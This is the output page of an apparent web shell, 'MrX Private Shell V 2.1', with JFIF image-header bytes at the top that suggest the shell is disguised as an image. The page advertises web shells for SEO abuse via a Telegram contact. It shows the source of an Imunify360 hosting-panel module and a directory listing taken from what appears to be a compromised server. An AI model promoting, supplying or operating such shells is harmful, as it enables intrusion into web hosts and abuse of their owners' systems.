����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from defence360agent.rpc_tools import ValidationError
from defence360agent.rpc_tools.lookup import RootEndpoints, bind
from defence360agent.subsys import svcctl
from defence360agent.subsys.panels.base import PanelException
from defence360agent.utils import Scope
from im360.contracts.config import Modsec
from im360.simple_rpc.unavailable_on_freemium import unavailable_on_freemium
from im360.subsys import modsec_app_version_detector, waf_rules_configurator
from im360.subsys.panels import hosting_panel
from im360.subsys.panels.base import use_modsec_lock
from im360.subsys.panels.cpanel.panel import cPanel
from im360.utils import is_apache2nginx_enabled
class HostingPanelEndpoints(RootEndpoints):
SCOPE = Scope.IM360
async def restart_agent(self):
"""Reload the wafd service to apply updated rules"""
unitctl = svcctl.imunify360_agent_service()
await unitctl.restart()
@bind("switch-max-webserver")
@unavailable_on_freemium
@use_modsec_lock
async def switch_max_webserver(self):
try:
apache2nginx_status = is_apache2nginx_enabled()
if apache2nginx_status:
cpanel_modsec = cPanel(force_cpanel=True)
await cpanel_modsec.revert_settings()
else:
coraza_modsec = cPanel(force_coraza=True)
await coraza_modsec.revert_settings(reload_wafd=False)
await self.restart_agent()
if Modsec.APP_SPECIFIC_RULESET:
try:
await waf_rules_configurator.update_waf_rules_config()
except modsec_app_version_detector.DatabaseNotFoundError as e:
raise ValidationError(str(e))
except waf_rules_configurator.NotSupportedWebserverError:
pass
return await self.hosting_panel.install_settings(reload_wafd=False)
except PanelException as e:
raise ValidationError(str(e))
@bind("install-vendors")
@unavailable_on_freemium
@use_modsec_lock
async def install_vendors(self):
try:
return await self.hosting_panel.install_settings()
except PanelException as e:
raise ValidationError(str(e))
@bind("uninstall-vendors")
@use_modsec_lock
async def uninstall_vendors(self):
try:
return await self.hosting_panel.revert_settings()
except PanelException as e:
raise ValidationError(str(e))
@bind("admin-emails")
async def get_admin_emails(self):
return await self.hosting_panel.get_admin_emails()
@property
def hosting_panel(self):
try:
return hosting_panel.HostingPanel()
except PanelException as e:
raise ValidationError(str(e))
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| schema_responses | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| configuration_management.py | File | 3.12 KB | 0644 |
|
| conflicts.py | File | 3.21 KB | 0644 |
|
| control_panel.py | File | 484 B | 0644 |
|
| countries.py | File | 5.72 KB | 0644 |
|
| csf_imports.py | File | 2.63 KB | 0644 |
|
| custom_lists.py | File | 642 B | 0644 |
|
| disabled_rules.py | File | 7.47 KB | 0644 |
|
| feature.py | File | 1.9 KB | 0644 |
|
| health.py | File | 343 B | 0644 |
|
| hosting_panel.py | File | 2.73 KB | 0644 |
|
| incidents.py | File | 1.83 KB | 0644 |
|
| kcarectl.py | File | 824 B | 0644 |
|
| lists.py | File | 30.66 KB | 0644 |
|
| malware.py | File | 385 B | 0644 |
|
| middleware.py | File | 1.32 KB | 0644 |
|
| proactive.py | File | 7.91 KB | 0644 |
|
| remote_proxy.py | File | 2.97 KB | 0644 |
|
| resident_socket.py | File | 1.59 KB | 0644 |
|
| schema.py | File | 1.05 KB | 0644 |
|
| smart_advice.py | File | 1.25 KB | 0644 |
|
| smtp_blocking.py | File | 1.72 KB | 0644 |
|
| unavailable_on_freemium.py | File | 354 B | 0644 |
|
| uninstall_cleanup.py | File | 2.42 KB | 0644 |
|
| validate.py | File | 9.19 KB | 0644 |
|
| whitelist_rbl.py | File | 409 B | 0644 |
|
| whitelisted_crawlers.py | File | 1.02 KB | 0644 |
|
| whitelisted_domains.py | File | 821 B | 0644 |
|